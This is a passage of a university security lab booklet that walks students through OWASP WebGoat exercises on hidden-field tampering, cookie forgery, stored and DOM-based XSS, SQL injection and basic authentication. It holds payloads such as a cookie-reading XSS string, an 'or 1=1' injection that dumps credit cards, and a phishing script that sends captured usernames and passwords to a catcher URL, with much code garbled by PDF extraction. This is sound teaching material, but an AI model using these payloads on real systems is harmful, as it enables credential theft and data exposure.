7/27/2019 Lab Booklet
1/111
Department of Computer Architecture (DAC)
Universitat Politcnica de Catalunya (UPC)
Security in Information Systems (SSI)
Laboratory Booklet
Manuel Garca-Cervign and Jordi Nin
February, 2011
7/27/2019 Lab Booklet
2/111
7/27/2019 Lab Booklet
3/111
Contents
1 Vulnerabilities in web applications 1
1.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.2 Start the LiveCD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.3 Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.3.1 Parameter validation . . . . . . . . . . . . . . . . . . . . . . . 4
1.3.2 Session administration and authentication . . . . . . . . . . . 10
1.3.3 Cross Site Scripting . . . . . . . . . . . . . . . . . . . . . . . 13
1.3.4 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
1.4 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
2 Vulnerabilities in web applications II 19
2.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
2.2 Security in AJAX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
2.3 Security in AJAX II . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
2.4 Defects on authentication . . . . . . . . . . . . . . . . . . . . . . . . 28
2.5 Cross Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
2.6 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
2.7 The Challenge . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
2.8 The Challenge (Optional part) . . . . . . . . . . . . . . . . . . . . . 49
3 Security in wireless networks 55
3.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
3.2 Environment set up . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
3.3 Breaking WEP encoding . . . . . . . . . . . . . . . . . . . . . . . . . 57
3.4 Find the IP range . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
3.5 MAC filtering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
3.6 Man In the Middle attack (optional) . . . . . . . . . . . . . . . . . . 62
3.7 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
4 Digital Certificates 65
4.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
4.2 Description . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
4.3 Prepare the environment . . . . . . . . . . . . . . . . . . . . . . . . . 65
4.4 Create a certification hierarchy . . . . . . . . . . . . . . . . . . . . . 66
4.4.1 Issue a certification request (CSR file) . . . . . . . . . . . . . 66
4.4.2 Issue the CA certificate out of the pending request . . . . . . 66
4.4.3 Issue the certificate request (and the new key pair associated) 67
4.4.4 Issue the certificate from the pending request . . . . . . . . . 67
4.4.5 Export the servers certificate as well as its private key . . . . 68
7/27/2019 Lab Booklet
4/111
ii Contents
4.4.6 Generate a certificate for the user to authenticate against the
web server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
4.4.7 Export the user certificate and its private key . . . . . . . . . 684.4.8 Install the user certificate in a Unix environment . . . . . . . 68
4.5 Apache Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . 68
4.5.1 Certificate Configuration . . . . . . . . . . . . . . . . . . . . . 68
4.5.2 Start the apache web server for non secure connections . . . . 69
4.5.3 Apache configuration to authenticate the server . . . . . . . . 69
4.5.4 Configure a VirtualHost to use SSL . . . . . . . . . . . . . . . 69
4.5.5 Enable the new website . . . . . . . . . . . . . . . . . . . . . 70
4.5.6 Client authentication using a digital certificate . . . . . . . . 70
5 Introduction to Malware analysis 73
5.1 Objectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
5.2 Laboratory Environment . . . . . . . . . . . . . . . . . . . . . . . . . 73
5.3 The malware: a trojan copy of a windows live messenger . . . . . . . 74
5.4 Behavioral analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74
5.5 Network traffic analysis . . . . . . . . . . . . . . . . . . . . . . . . . 77
5.6 Code analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
6 IPTables 85
6.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
6.2 General iptables Description . . . . . . . . . . . . . . . . . . . . . . . 85
6.3 Tables and Chains description . . . . . . . . . . . . . . . . . . . . . . 856.4 Iptables commands . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
6.4.1 Allowing Established Sessions . . . . . . . . . . . . . . . . . . 89
6.4.2 Allowing Incoming Traffic on Specific Ports . . . . . . . . . . 90
6.4.3 Blocking Traffic . . . . . . . . . . . . . . . . . . . . . . . . . . 91
6.4.4 Editing iptables . . . . . . . . . . . . . . . . . . . . . . . . . . 91
6.4.5 Logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92
6.5 Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92
6.5.1 Rules without considering the package state . . . . . . . . . . 92
6.5.2 Rules considering the package state . . . . . . . . . . . . . . . 93
7 Forensic analysis 95
7.1 Objetives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
7.2 Requisites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
7.3 Lab description . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
7.4 Goals . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
7.5 Autopsy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
7.5.1 Evidence Search Techniques . . . . . . . . . . . . . . . . . . . 97
7.5.2 Case Management . . . . . . . . . . . . . . . . . . . . . . . . 98
7.5.3 Case Creation in a Nutshell . . . . . . . . . . . . . . . . . . . 98
7.5.4 Useful Autopsy Views . . . . . . . . . . . . . . . . . . . . . . 99
7/27/2019 Lab Booklet
5/111
Contents iii
7.6 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
7.7 Joe Jacobs police report . . . . . . . . . . . . . . . . . . . . . . . . . 99
7/27/2019 Lab Booklet
6/111
7/27/2019 Lab Booklet
7/111
Session 1
Vulnerabilities in web applications
Contents
1.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.2 Start the LiveCD . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.3 Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.3.1 Parameter validation . . . . . . . . . . . . . . . . . . . . . . . 41.3.2 Session administration and authentication . . . . . . . . . . . 10
1.3.3 Cross Site Scripting . . . . . . . . . . . . . . . . . . . . . . . 13
1.3.4 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
1.4 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
1.1 Objective
Vulnerabilities in web applications are responsible for most of the security viola-
tions in computer networks. Every time more often, the attacks are addressed to
applications such as Internet shopping, web forms, as well as the authentication and
access points to protected web pages and dynamic contents from linked databases
with transactions and information requests.
When we talk about web applications vulnerabilities we are not talking about
operating system or http servers vulnerabilities (version update, patches, etc) but
about the vulnerabilities of the software on top of them. Such vulnerabilities are
directly related to the logic, code scripting and content of the web application.
Being able to detect such vulnerabilities provides us with more security as well
as to be able to provide more control and quality to our software products.
The objective of this session is to study some of the main vulnerabilities foundin web applications, study some basic ways to perform attacks and understand the
origin of such vulnerabilities and how to be able to avoid them.
We will use the following applications for this session:
WebGoat is a J2EE application developed by OWASP (The Open Web Appli-
cation Security Project) and based on Tomcat. It is an insecure application
and it is basically its purpose. The objective is to use it as an introduction
to different attacks directed to web applications (test environment). It has
different lessons that provide us with help and information to understand and
be able to overcome them.
7/27/2019 Lab Booklet
8/111
2 Session 1. Vulnerabilities in web applications
WebScarab is a framework to analyze web applications developed by OWASP. It
uses http and https and it can be used as a proxy to study web pages requests
and responses, review and modify them before they get to the client or theserver.
Both applications can be found on a LiveCD named OWASP OWASP Live
CD Education Project (LabRat), than we are going to use. This Live CD can be
downloaded from http://appseclive.org/content/downloads
The vulnerabilities that we are going to see are:
Hidden field authentication: how to obtain additional information form web ap-
plications and modify the clients generated requests or server responses to be
able to perform the attack.
Weak session identification: we will see the dangers of a weak authentication,
in this case, how to impersonate another user by means of a session cookie.
Cross-Site Scripting (XSS): is an attack based in the vulnerabilities exploit of
the embedded HTML validation. It takes advantage on the lack of filtering
mechanisms of the input fields, allowing the data input and transfer without
any validation, being able to generate malicious command sequences or scripts.
SQL Injection: it is a vulnerability found at the input data validation of a
database associated to a web application. The origin is the incorrect filtering
of variables used in the application code that perform SQL sentences.
1.2 Start the LiveCD
Go to the Live CD start menu and at option live - boot the Live System
http://appseclive.org/content/downloadshttp://appseclive.org/content/downloads7/27/2019 Lab Booklet
9/111
1.2. Start the LiveCD 3
Once the Live CD has started you must follow the steps:
1. Keyboard layout: The default layout is US, go to System -> Preferences
-> Keyboard and add the ES layout
2. Start the WebScarab application: When starting the graphic interface go
to the OWASP -> Proxies -> WebScarab and click to see the following screen:
7/27/2019 Lab Booklet
10/111
4 Session 1. Vulnerabilities in web applications
3. Start WebGoat application:
Open a shell
Change to the directory where the WebGoat application is installed
# c d /op t/ owasp /we b goat
Start the application on port 8080
#s u do . / w eb go a t . s h s t a r t 8 0 8 0
Watch the messages appearing while the application starts. When thefollowing message appears the application will be running
INFO : S e r v er s t a r t u p i n 4 35 0 ms
4. Web browser configuration: Open the web browser and configure it to
use a local proxy, in our case WebScarab, using port 8008 by default. Go to
Edit -> Connection Settings ... Depending on the LiveCD version it will be
Preferences
7/27/2019 Lab Booklet
11/111
1.3. Exercises 5
Configure manually the proxy option as seen below.
Warning! observe that the field No Proxy for doesnt have 127.0.0.1 or
localhost:
At the browser address bar type http://127.0.0.1:8080/webgoat/attack
Remember: user: guest password: guest
1.3 Exercises
1.3.1 Parameter validation
We will see the danger of no validating input parameters on a Web application or
doing a poor or incorrect validation. On Parameters tampering we will find threeexercises:
1.3.1.1 Hidden fields
Access to WebGoats lesson Exploit Hidden Fields. Its goal is to buy from a web
page for a lower price.
Observing the web page we can see that the field Price cant be modified. Try
several times Update chart or Purchase or observing the code clicking Show Java
to modify the products price. Have you found something?
7/27/2019 Lab Booklet
12/111
6 Session 1. Vulnerabilities in web applications
Lets now watch the request sent to the server when we try to buy. Follow the
steps:
Go to WebScarab and click Intercept Requests inside Manual Edit:
Once activated the requests reception, go back to WebGoat and try to buy
clicking on Purchase.
7/27/2019 Lab Booklet
13/111
1.3. Exercises 7
You will then see a new WebScarab window with the intercepted request. If we
take a look at tab URLEncoded well find variables (QTY, SUBMIT, Price).
One of the variables refers to the purchase price, try to modify the price at
column Value, disable the requests interception (clicking again on Intercept
Requests and click on Accept Changes.
We have been able to modify the purchasing price.
1.3.1.2 e-mail not validated
Go to WebGoat lesson exploit unchecked mail. Now the goal is to be able to change
the e-mail address where the comments typed at the web page are sent. Enter some
comments and see the code by clicking on Show Java to be able to modify the
e-mail address. Have you found anything?
7/27/2019 Lab Booklet
14/111
8 Session 1. Vulnerabilities in web applications
Type a malicious script like
< s c r i p t > a l e r t ( " X S S " ) < / s c r i p t >
into the comments field and send. Observe that you are able to add your own
script and execute whatever you want.
Now, lets change the e-mail address field. This can be accomplished by in-
tercepting the request with webscarab and changing the hidden field "to" from
[email protected] to [email protected]
1.3.1.3 Avoid validations on the client side
Go to WebGoat lesson How to bypass Client Side JavaScript Validation. The goal
is to avoid validation implemented on the client side of the application.
This web page sends seven values to the web server that need to match regular
expressions validated locally. Try introducing correct and incorrect values on every
field and send them clicking on Submit or observing the code clicking on Show
Java to be able to find the code implementing the fields validation. Have you found
anything?
What would happen if we sent incorrect values in all the fields? For instance a
dash (-)
7/27/2019 Lab Booklet
15/111
1.3. Exercises 9
Data is being validated at the client side and we cant send it to the server.
Looking at the code you can find the section implementing the validation:i f ( ! p att e rn 1 . m atch e r( p aram 1 ) . m atch e s () ){
err++;
msg += "
S e r v e r s i d e v a l i d a t i o n v i o l a t i o n :
You s u cc e ed e d f o r F i e l d 1 . " ;
}
i f ( ! p att e rn 2 . m atch e r( p aram 2 ) . m atch e s () ){
err++;
msg += "
S e r v e r s i d e v a l i d a t i o n v i o l a t i o n :
You s u cc e ed e d f o r F i e l d 2 . " ;
}. . .
i f ( e r r > 0 ){
s . se tMe ssage (msg ) ;
}
This code is downloaded when requesting the web page. Lets try to skip the
validation:
We need to modify WebScarab configuration to be able to intercept servers
responses. On tab Proxy, check Intercept Responses an verify that Intercept
Requests is disabled.
7/27/2019 Lab Booklet
16/111
10 Session 1. Vulnerabilities in web applications
Now reload the browsers page to issue a new request. You will see a new
WebScarab window with the intercepted response. If we click on Raw tab from
the lower half window well be able to see the servers response and there we willfind the code to validate the fields that we want to avoid.
Edit the code erasing the validation code: lines between (msg=JavaScript... and
(if (err >0 ... Uncheck Intercept responses.
Click on Accept Changes, go back to the web page and click Submit to send
incorrect data to the server.
We have been able to avoid the clients validation and to send incorrect infor-
mation to the server.
7/27/2019 Lab Booklet
17/111
1.3. Exercises 11
1.3.1.4 Practice
Go to WebGoat lesson How to bypass a Fail Open Authentication Scheme at
chapter Improper Error Handling. Try solving the lesson using the techniques
studied above.
1.3.2 Session administration and authentication
1.3.2.1 Authentication using cookies
Well see now how applications use cookies to maintain session information and
how that information can be used to establish a session for a different user without
7/27/2019 Lab Booklet
18/111
12 Session 1. Vulnerabilities in web applications
having its credentials.
Go to WebGoat lesson How to spoof an Authentication Cookie. The goal is to
be able to establish a session as user Alice without having her credentials.Try authenticating as webgoat/webgoat and aspect/aspect reloading the
screen to observe how the web page uses the cookie to validate and maintain the
session. Watch the code clicking on Show Java to be able to establish a session as
user Alice. Have you found anything?
Lets take a look at the mechanism used to authenticate using the cookie:
Log in as webgoat.
Check the WebScarab Intercept Request box and click Refresh. You will
see a new window with the request; observe the cookies value.
Uncheck Intercept Requests and click Accept Changes.
Do the same for user aspect observing the value of the cookie; compare it
with the one for user webgoat.
Repeat the same process several times, observing the value of the cookie for
each user.
The value of variable AuthCookie for each user is always the same. Therefore
we can think that if we find the logic that generates that value we can try to modify
the cookie to simulate a session for another user.
Lets study each value:
7/27/2019 Lab Booklet
19/111
1.3. Exercises 13
User AuthCookie
webgoat 65432ubphcfx
aspect 65432udfqtbAlice 65432?????
We can see that variable AuthCookie always begins with 65432, well then
concentrate on the variable part.
It looks like the number of characters of the username is directly related to the
generated code
webgoat 7 characters -> upbhcfx 7 characters
aspect 6 characters -> udfqtb 6 characters
alice 5 characters ... we may then think that the code will have 5 characters
Lets now try finding some relationship amongst the characters:
The code generated for both users begins with u but the username doesnt
begin with the same character but we see that both end in t. Reversing the order:
User AuthCookie
taogbew ubphcfx
tcepsa udfqtb
Now, we only need to watch a bit longer the characters to discover that, each
character corresponds to one of the characters of the username in the AuthCookie
alphabet. Thats a variant of the Caesar enciphering, classic and very basic method
where a character is replaced by another one, with a bijective correspondence.
t->u, a->b, o->p, g->h, b->c, e->f, w->x
t->u, c->d, e->f, p->q, s->t, a->b
Therefore to generate the code for user alice:
User AuthCookie
webgoat 65432ubphcfx
aspect 65432udfqtb
alice 65432fdjmb
Now, lets send the server the modified value of AuthCookie: start a session
with for user webgoat or aspect, check WebScarabs Intercept Requests and click
Refresh.
On the new WebScarab window containing the request, modify the value for
AuthCookie using the one we have calculated, uncheck Intercept Requests and
click on Accept Changes.
7/27/2019 Lab Booklet
20/111
14 Session 1. Vulnerabilities in web applications
You can now see a page that is greeting user alice.
1.3.3 Cross Site Scripting
We will see now how to take advantage on a form vulnerability using what we havealready learnt.
Go to WebGoat lesson LAB: Cross Site Scripting (XSS). The goal of that lesson
is that the application serves a script developed by us or any other user.
Try authenticating against the web page using different users (the password is
the same as the username) observing what features are available and looking for a
way to execute our own script when a user logs in. Any idea?
Basically this is a human resources application where every user can access to
his related information. Administrative users can query and update other users.
Authenticate as an administrative user i.e. John Wayne (admin) password
john.
Select an employee from the list and click on ViewProfile.
We will now modify one of the fields of that user adding a script that will be
executed when the user logs in to check his data.
Add to the field Street:
7/27/2019 Lab Booklet
21/111
1.3. Exercises 15
>< s c r i p t > a l e r t ( " S t o l e n s e s s i o n " + do cume nt . c o o k i e )
Click on UpdateProfile and then Logout.
To check whether our scripts executes correctly, authenticate as the modified
user and then click on View Profile
7/27/2019 Lab Booklet
22/111
16 Session 1. Vulnerabilities in web applications
See that the application has served that script to another user, therefore we have
achieved our goal.
1.3.4 SQL Injection
We are going to study how to insert SQL sentences inside of a previously written
query in order to manipulate the correct procedures of a given application.
Go to WebGoat lesson How to Perform String SQL Injection. Its goal is toobtain a listing of the credit cards stored in a database.
Type Smith as a parameter and try other values. Observe the results and study
how the SQL sentence providing the listing is modified.
See that the query is waiting for a value to be entered and then used.
7/27/2019 Lab Booklet
23/111
1.3. Exercises 17
What if we type two quotes without any value?
The SQL sequence is correct and returns no value. What if we type just one
quote?
Now the SQL syntax is not correct: it requires a quote at the beginning of a
string and another one at the end. We must then find a correct SQL sentence that is
always true Enter this text for last_name and execute the query clicking on Go!
FIB o r 1 = 1
We are closing the first quote with any value and then add an expression that
always is true (1=1). We need to remember that a quote is added at the end.
The Boolean OR operator will make the trick returning all the values of the table.
7/27/2019 Lab Booklet
24/111
18 Session 1. Vulnerabilities in web applications
We have finally achieved to list all the values of the customers credit cards
stored in the database.
1.4 References
OWASP Project , http://www.owasp.org
OWASP Project at Sourceforge, http://sourceforge.net/projects/owasp
Web Application Security Consortium (WASC), http://www.webappsec.org
Common Vulnerabilities and Exposures (CVE), http://www.cve.mitre.org
http://www.faqs.org/rfcs/rfc2660.html
http://www.faqs.org/rfcs/rfc2616.html
http://www.faqs.org/rfcs/rfc1945.html
Secure Coding: Principles & Practices, http://www.securecoding.org/
7/27/2019 Lab Booklet
25/111
Session 2
Vulnerabilities in web applicationsII
Contents
2.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
2.2 Security in AJAX . . . . . . . . . . . . . . . . . . . . . . . . . 202.3 Security in AJAX II . . . . . . . . . . . . . . . . . . . . . . . . 23
2.4 Defects on authentication . . . . . . . . . . . . . . . . . . . . 28
2.5 Cross Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . 36
2.6 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
2.7 The Challenge . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
2.8 The Challenge (Optional part) . . . . . . . . . . . . . . . . . 49
2.1 Objective
Vulnerabilities in web applications are responsible for most of the security viola-
tions in computer networks. Every time more often, the attacks are addressed to
applications such as Internet shopping, web forms, as well as the authentication and
access points to protected web pages and dynamic contents from linked databases
with transactions and information requests.
When we talk about web applications vulnerabilities we are not talking about
operating system or http servers vulnerabilities (version update, patches, etc) but
about the vulnerabilities of the software on top of them. Such vulnerabilities are
directly related to the logic, code scripting and content of the web application.Being able to detect such vulnerabilities provides us with more security as well
as to be able to provide more control and quality to our software products.
The objective of this session is to study some of the main vulnerabilities found
in web applications, study some basic ways to perform attacks and understand the
origin of such vulnerabilities and how to be able to avoid them.
The goal of current session is to continue with the study of some of the main
vulnerabilities found in web applications, study some of the most basic ways to
perform attacks and understand the origin of such vulnerabilities and how to avoid
them.
We will use the following applications for this session:
7/27/2019 Lab Booklet
26/111
20 Session 2. Vulnerabilities in web applications II
WebGoat is a J2EE application developed by OWASP (The Open Web Ap-
plication Security Project) and based on Tomcat. It is an insecure application
and it is basically its purpose. The objective is to use it as an introductionto different attacks directed to web applications (test environment). It has
different lessons that provide us with help and information to understand and
be able to overcome them.
WebScarab is a framework to analyze web applications developed by
OWASP. It uses http and https and it can be used as a proxy to study web
pages requests and responses, review and modify them before they get to the
client or the server.
2.2 Security in AJAXHere we will see how to modify the DOM (Document Model Object) that is the
specification that determines how the objects (texts, images, links, etc) are repre-
sented in a web page. We will see that on an application that uses AJAX to modify
and update the DOM.
Go to WebGoats lesson AJAX Security -> DOM Injection. The purpose of this
lesson is to modify the DOM injecting JavaScript instructions to enable Activate!
the button found in the page.
Study the code to be able to detect which are the instructions that disables the
Activate! button.
S t r i ng s c r i p t = "< s c r i p t >" + l i n e Se p + " f u n c t io n v a l i d a t e ( ) {"
97 + l i n e S e p + "var ke y Fie l d=d oc um en t . ge tEle m e n tByI d ( key ) ; "
98 + l i n e S ep + " v ar u r l = " + g et Li nk ( )
99 + "&from=aja x&key=+encodeURIComponent ( ke yF ie ld . val ue ) ; "
100+ l i n e S e p + " i f ( t y p e o f XM LHttpRequest != u n d e f i n e d ) { "
7/27/2019 Lab Booklet
27/111
2.2. Security in AJAX 21
101+ l i n e S e p + " r e q = new XML HttpRequest ( ) ; " + l i n e S e p
102+ "} e l s e i f ( window . A ct iv eX Ob je ct ) { " + l i n e S e p
103+ " req=new ActiveXObject ( Mi cr os of t .XMLHTTP ) ; " + li ne Se p104+ " }"+ l i n e S e p +" r e q . o pe n ( GET , u r l , t r u e ) ; " + l i n e S e p
105+ " r e q . o n r ea d y s ta t e ch a n ge = c a l l b a c k ; " + l i n e S e p
106+ " r eq . s en d ( n u l l ) ; " + l i n e Se p + " }" + l i n e Se p
107+ " f u n c t i o n c a l l b a c k ( ) {" + l i n e S ep
108+ " i f ( r eq . r ea dy St at e == 4) { " + l in e Se p
109+ " i f ( r e q . s ta tu s == 2 00 ) { " + l in eS ep
110+ " var message = r e q . r e s p o n s e T e x t ; " + l in eS ep
111+ " e v a l ( message ) ; " + l i n e S e p + "
} } } " + l i n e S e p
112+ "" + l in e S e p ;
Once we have located it, lets try to modify the request to try to enable the
button. Go to the WebScarab window and enable Intercept responses.
Now lets simulate the typing of a key to trigger the validation:
h ttp :/ /1 27 .0 .0 .1 :8 08 0/ we bgoat/at tac k ? S c re e n =36&menu=1150&
from =ajax&ke y=c lau falsa
7/27/2019 Lab Booklet
28/111
22 Session 2. Vulnerabilities in web applications II
Warning! watch the value of variables Screen and menu since it can change,
and use the values appearing to build a URL like the one above.
You will see a new WebScarab window with the intercepted response. Inside the
response look for the section that defines the button disabled and erase that part of
the code to allow it to be enabled:
Replace the code
by
Disable the response interception of WebScarab and click on Accept Changes.
Now we can click on Activate and we will have passed the lesson.
7/27/2019 Lab Booklet
29/111
2.3. Security in AJAX II 23
2.3 Security in AJAX II
We will now see how to modify. the DOM, as we have already done, but we will
use now a vulnerability that allows to inject code using Cross Site Scripting (XSS)
in order to manipulate the licit processes of a given application.
Go to WebGoats lesson LAB: DOM-Based cross-site scripting. The goal
now is to obtain a listing with the credit cards from the users stored in a database.
This lesson has different steps to overcome with a particular intention for each.
The first stage is to deface the web page using the image:
7/27/2019 Lab Booklet
30/111
24 Session 2. Vulnerabilities in web applications II
We find here a page containing a field to enter our name that the application
uses to greet us. Lets try typing some values in this text field.
As you can see the application immediately incorporates the values typed to the
web page. What would it happen if we type code to modify the web page?
Type the following command in the text field. It references the image that we
want to appear on the web page.
Click on Submit Solution to go to the next stage
7/27/2019 Lab Booklet
31/111
2.3. Security in AJAX II 25
On this stage we want to execute a JavaScript alert using the image tab. look
for the way to build this tag and how to enter an alert inside of the tag. Have you
found the correct solution?
Try typing the following text on the field:
Since there is no image on that path the "onerror" script is triggered.
Click on Submit Solution to go to the next stage
7/27/2019 Lab Booklet
32/111
26 Session 2. Vulnerabilities in web applications II
On the third stage we will need to execute another JavaScript alert and use the
iframe tag. Look for information on that tag and on how to include the alert inside
of the tag.Insert the following instruction on the text field:
< i f r a me s r c =" j a v a s c r i p t : a l e r t ( J a v a S c r i p t a l e r t ); " > < / i f r am e >
click on Submit Solution to go to the next stage.
On this stage we nee to build a fake login form.
Enter the following text
Pl ea se en te r your passw ord :
Send password
If you enter a password on the first text field and click on Submit Solution we
will see that the constructed field acts masking the password as in a real form and
that the users password has been captured.
We will need to enter the fake form to be able to go to the next stage, enter:
7/27/2019 Lab Booklet
33/111
2.3. Security in AJAX II 27
Ple a se e n t e r you r p assword :
Submit
This time we will click on the original Submit Solution.
We have now reached the last stage of the lesson. We are going now to try to
find a way to mitigate the DOM XSS vulnerability.
1. Open file escape.js at http://localhost:8080/webgoat/javascript/escape.js andtry to guess its utility.
2. Next you should find the code that makes that all you type at the text field
appears on the web page.
3. If you look at the source code you will see that it uses the file DOMXSS.js at
http://localhost:8080/webgoat/javascript/DOMXSS.js and contains the func-
tion that shows the values of the text field.
4. You need to replace this files code using the function es-
capeHTML from escape.js. Edit DOMXSS.js that is at
/tomcat/webapps/webgoat/javascript, where should be, by default, /opt/owasp/webgoat.
Replace:
f u n c t i o n d i s p l a y G r e e t i n g ( name ) {
i f ( name != ) {
document . getElementById (" gre et in g ") . innerHTML="Hell o , "
+ n ame+ " !" ;
}
}
7/27/2019 Lab Booklet
34/111
28 Session 2. Vulnerabilities in web applications II
by
f u n c t i o n d i s p l a y G r e e t i n g ( name ) {i f ( name != ) {
document . getElementById (" gre et in g ") . innerHTML="Hell o , "
+ escapeHTML(name) + " ! " ;
}
}
Once you have modified that, try to perform some of the previous injections, for
instance the web defacement.
As you can see the DOM XSS injection cannot be performed anymore and we
only needed to include a very simple command to avoid it.
Click on Submit Solution to end the lesson.
2.4 Defects on authentication
We will study the way basic authentication works, we will see how the credentials
are resent automatically for each protected page.
Go to WebGoats lesson Authentication flows -> Basic Authentication. The
goal of this lesson is to understand the basic authentication, to do it we will have
to solve two questions:
7/27/2019 Lab Booklet
35/111
2.4. Defects on authentication 29
Click on Submit and intercept the request using WebScarab. Study the contents
of the request to find the name of the authentication header and its value.
As you may have guessed the header is Authorization and the value
"Z3Vlc3Q6Z3Vlc3Q=".
To decode the value go to WebScarabs "Tool" menu and click on "Transcoder".
7/27/2019 Lab Booklet
36/111
30 Session 2. Vulnerabilities in web applications II
We will have a new window to enter the value found and that will help us
decoding it.
Click on Base64 decode to decode the value
7/27/2019 Lab Booklet
37/111
2.4. Defects on authentication 31
We have it now decoded, now enter this information on the questions asked and
to go to the next stage click on Submit.
We have found the appropriate values and we have been able to pass the first
stage of the lesson. Our next goal is to force WebGoat to re-authenticate us with
user basic.
7/27/2019 Lab Booklet
38/111
32 Session 2. Vulnerabilities in web applications II
Enable WebScarabs request interception. To create the request we will go back
to click on the lesson Basic Authentication.
On JSESSIONID variable from the Cookie header, we can find the value of
the session that allows us to identify protected pages without having to retype the
credentials.
To force the server to assign us a new session we will have to modify the value
of variable JSESSIONID. For instance deleting the last two characters.
7/27/2019 Lab Booklet
39/111
2.4. Defects on authentication 33
Click on Accept changes and you will see that the application has been redi-
rected to the main page but without asking the credentials. If you verify the contents
of variable JSESSIONID you will see that it is different to the one we had assigned
before: the server has assigned us with a new session.
Do the same again but now modify the header "Authorization" and the variable
JSESSIONID.
7/27/2019 Lab Booklet
40/111
34 Session 2. Vulnerabilities in web applications II
You will see that the application has now required us to enter the credentials,
we will type now the ones for user basic.
Study the value that appears now in the requests, intercepting the request with
WebScarab.
7/27/2019 Lab Booklet
41/111
2.4. Defects on authentication 35
You can see that the value of the Authorization header is different and that we
have the same session that we had with user guest. Decode the Authorization
header.
As we expected the content is username and password for user basic.
If you invalidate the session JSESSIONID typing JSESSIONID=novalidsession
we can really access to the basic user session. Intercept the request and modify the
variable.
7/27/2019 Lab Booklet
42/111
36 Session 2. Vulnerabilities in web applications II
We have been able to access the application as before.
Click on Start WebGoat and go back accessing the lesson clicking on WebGoats
Basic Authentication.
Warning! watch the links you click on to issue new requests to inter-
cept. Think that if you are authenticated as basic an click on a link such as
guest:[email protected].... you will re-authenticate as user guest. We rather reload
the page to create new requests.
7/27/2019 Lab Booklet
43/111
2.5. Cross Site Scripting 37
We finally have authenticated as user basic and passed the lesson.
2.5 Cross Site Scripting
In this lesson we will see an example of phishing attack on a web page using Cross-
Site Scripting (XSS).
Go to WebGoats lesson Phising with XSS. The goal of this lesson is to capture
the credentials of a user and send them to a servlet.We need to build a form for the user to enter the credentials to be able to
intercept them. We will, therefore, write a typical HTML form to inject in the field
Search:
7/27/2019 Lab Booklet
44/111
38 Session 2. Vulnerabilities in web applications II
Nom Usu ari :
< l a b e l f o r ="pwd" > Pa s sw o rd : < / l a b e l >
Now we have the form and we now need to write a script to retrieve the data
and send them to the servlet:
< s c r i p t >
f u n c t i o n p h i s i n g ( ) {
a l e r t ( " Your d a ta h as b ee n c a p tu r e d : Us er name : " +
document . getElementById ("name " ) . va lue + "Password :" +
document . getElementById( "pwd" ) . val ue ) ;
va r XSSImage=IEWIN?new Image ( ) : document . cre at eE le me nt ( img ) ;
7/27/2019 Lab Booklet
45/111
2.5. Cross Site Scripting 39
XSSImage . s r c =" h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / we bg oa t / c a t c h e r ?
PROPERTY=ye s&us e r="+ document . ge tE lem ent By Id (" name " ) . va l ue
+ "&p assword =" + d oc um en t . ge tElem e n tByI d ("pwd " ). valu e + " " ;}
< / s c r i p t >
This script shows an alert with the users entered data and sends them to the
URL http://localhost./webgoat/catcher?PROPERTY=yes...
We will now put together the form and the script in the same line to enter it in
the Search field.
< s c r i p t >
f u n c t i o n p h i s i n g ( ) {
a l e r t ( " Your d a ta h as b ee n c a p tu r e d : Us er name : " +
document . getElementById ("name " ) . va lue + "Password :" +
document . getElementById( "pwd" ) . val ue ) ;
va r XSSImage=IEWIN?new Image ( ) : document . cre at eE le me nt ( img ) ;
XSSImage . s r c =" h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / we bg oa t / c a t c h e r ?
PROPERTY=ye s&us e r="+ document . ge tE lem ent By Id (" name " ) . va l ue
+ "&p assword =" + d oc um en t . ge tElem e n tByI d ("pwd " ). valu e + " " ;
}
< / s c r i p t >
Nom Usu ari :
< l a b e l f o r ="pwd " >P as s wo rd : < / l a b e l >
